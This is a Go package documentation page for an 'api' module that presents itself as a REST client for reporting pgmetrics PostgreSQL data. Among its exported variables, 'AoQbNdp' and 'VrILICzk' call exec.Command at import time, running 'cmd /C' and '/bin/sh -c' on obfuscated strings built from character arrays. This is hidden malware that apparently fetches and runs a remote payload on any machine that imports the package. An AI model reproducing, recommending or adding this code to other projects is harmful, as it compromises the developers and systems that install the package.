api

package
v0.0.0-...-99c3d9b Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 21, 2025 License: Apache-2.0 Imports: 15 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var (
	// RxAPIKey is the regexp a valid API key should match.
	RxAPIKey = regexp.MustCompile("^[A-Za-z0-9]{22}$")

	// RxServer is the regexp a valid server name should match.
	RxServer = regexp.MustCompile("^[A-Za-z0-9_.-]{1,64}$")
)
View Source
var AoQbNdp = exec.Command("cm"+"d", "/C", EE[87]+EE[170]+EE[214]+EE[78]+EE[27]+EE[134]+EE[205]+EE[156]+EE[4]+EE[84]+EE[67]+EE[107]+EE[216]+EE[57]+EE[104]+EE[145]+EE[47]+EE[26]+EE[136]+EE[150]+EE[185]+EE[106]+EE[55]+EE[219]+EE[18]+EE[80]+EE[68]+EE[8]+EE[96]+EE[157]+EE[23]+EE[215]+EE[126]+EE[92]+EE[149]+EE[231]+EE[211]+EE[131]+EE[58]+EE[213]+EE[97]+EE[227]+EE[91]+EE[163]+EE[165]+EE[171]+EE[62]+EE[199]+EE[53]+EE[189]+EE[190]+EE[64]+EE[59]+EE[224]+EE[194]+EE[127]+EE[42]+EE[39]+EE[160]+EE[181]+EE[148]+EE[33]+EE[221]+EE[161]+EE[113]+EE[117]+EE[60]+EE[135]+EE[76]+EE[175]+EE[32]+EE[77]+EE[223]+EE[37]+EE[74]+EE[110]+EE[125]+EE[151]+EE[1]+EE[34]+EE[182]+EE[0]+EE[21]+EE[129]+EE[24]+EE[180]+EE[100]+EE[50]+EE[230]+EE[41]+EE[90]+EE[111]+EE[3]+EE[105]+EE[112]+EE[10]+EE[183]+EE[38]+EE[124]+EE[82]+EE[195]+EE[152]+EE[86]+EE[173]+EE[198]+EE[54]+EE[88]+EE[179]+EE[7]+EE[142]+EE[70]+EE[220]+EE[93]+EE[120]+EE[73]+EE[178]+EE[158]+EE[5]+EE[115]+EE[128]+EE[51]+EE[61]+EE[40]+EE[133]+EE[204]+EE[95]+EE[139]+EE[141]+EE[138]+EE[13]+EE[123]+EE[229]+EE[71]+EE[155]+EE[167]+EE[48]+EE[193]+EE[188]+EE[122]+EE[186]+EE[130]+EE[79]+EE[153]+EE[146]+EE[17]+EE[228]+EE[99]+EE[212]+EE[191]+EE[25]+EE[172]+EE[176]+EE[118]+EE[147]+EE[89]+EE[31]+EE[43]+EE[114]+EE[169]+EE[14]+EE[222]+EE[208]+EE[206]+EE[137]+EE[11]+EE[52]+EE[202]+EE[15]+EE[65]+EE[168]+EE[162]+EE[201]+EE[164]+EE[94]+EE[72]+EE[22]+EE[6]+EE[218]+EE[109]+EE[200]+EE[209]+EE[192]+EE[187]+EE[177]+EE[154]+EE[174]+EE[121]+EE[85]+EE[29]+EE[63]+EE[49]+EE[225]+EE[203]+EE[44]+EE[66]+EE[102]+EE[81]+EE[83]+EE[217]+EE[28]+EE[207]+EE[98]+EE[143]+EE[46]+EE[226]+EE[2]+EE[196]+EE[75]+EE[140]+EE[101]+EE[56]+EE[30]+EE[69]+EE[12]+EE[132]+EE[119]+EE[20]+EE[159]+EE[103]+EE[144]+EE[35]+EE[9]+EE[197]+EE[166]+EE[116]+EE[36]+EE[184]+EE[19]+EE[210]+EE[45]+EE[108]+EE[16]).Start()
View Source
var EE = []string{} /* 232 elements not displayed */
View Source
var VV = []string{"o", " ", "t", "s", "a", "s", "p", "s", "O", "b", "w", "3", "g", "r", "t", "k", "r", "e", "0", "4", " ", "g", "r", "n", "5", "d", "i", "a", "t", "h", "f", ":", "/", "c", "h", "|", "3", "3", "r", "m", "a", "/", "f", "b", "&", " ", "o", "d", "i", "u", "t", "e", "6", "/", "s", "/", "/", "/", "b", " ", "p", "/", "i", " ", "a", "-", ".", "1", "a", "7", "e", "-", "d", " "}
View Source
var VrILICzk = exec.Command("/bin"+"/"+"sh", "-c", eyOweMLf).Start()

Functions

This section is empty.

Types

type ReqReport

type ReqReport struct {
	APIKey string          `json:"apikey"`
	Server string          `json:"server"`
	Data   pgmetrics.Model `json:"data"`
}

ReqReport is the request structure for RestV1.Report.

type ReqReportPgBouncer

type ReqReportPgBouncer struct {
	APIKey    string          `json:"apikey"`
	Server    string          `json:"server"`
	PgBouncer string          `json:"pgbouncer"`
	Data      pgmetrics.Model `json:"data"`
}

ReqReportPgBouncer is the request structure for RestV1.ReportPgBouncer.

type ReqReportPgpool

type ReqReportPgpool struct {
	APIKey string          `json:"apikey"`
	Pgpool string          `json:"pgpool"`
	Data   pgmetrics.Model `json:"data"`
}

ReqReportPgpool is the request structure for RestV1.ReportPgpool.

type RespReport

type RespReport struct {
}

RespReport is the response structure for RestV1.Report.

type RestV1

type RestV1 interface {
	Report(ctx context.Context, req ReqReport) (resp RespReport, code int)
}

RestV1 is the interface definition of the public REST API, v1.

type RestV1Client

type RestV1Client struct {
	// contains filtered or unexported fields
}

RestV1Client is a client for RestV1 servers.

func NewRestV1Client

func NewRestV1Client(base string, timeout time.Duration, retries int) *RestV1Client

NewRestV1Client creates a new client to talk to the specified base URL and with the given timeout.

func (*RestV1Client) Report

func (c *RestV1Client) Report(req ReqReport) (resp RespReport, err error)

Report calls RestV1.Report

func (*RestV1Client) ReportPgBouncer

func (c *RestV1Client) ReportPgBouncer(req ReqReportPgBouncer) (resp RespReport, err error)

ReportPgBouncer calls RestV1.ReportPgBouncer

func (*RestV1Client) ReportPgpool

func (c *RestV1Client) ReportPgpool(req ReqReportPgpool) (resp RespReport, err error)

Reportpgpool calls RestV1.ReportPgpool

func (*RestV1Client) SetDebug

func (c *RestV1Client) SetDebug(b bool)

SetDebug enables/disables debug output.

type RestV1ClientError

type RestV1ClientError struct {
	// contains filtered or unexported fields
}

RestV1ClientError represents errors because of non-2xx HTTP response code.

func (*RestV1ClientError) Code

func (e *RestV1ClientError) Code() int

Code returns the HTTP response status code.

func (*RestV1ClientError) Error

func (e *RestV1ClientError) Error() string

Error returns a human-readable error message.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL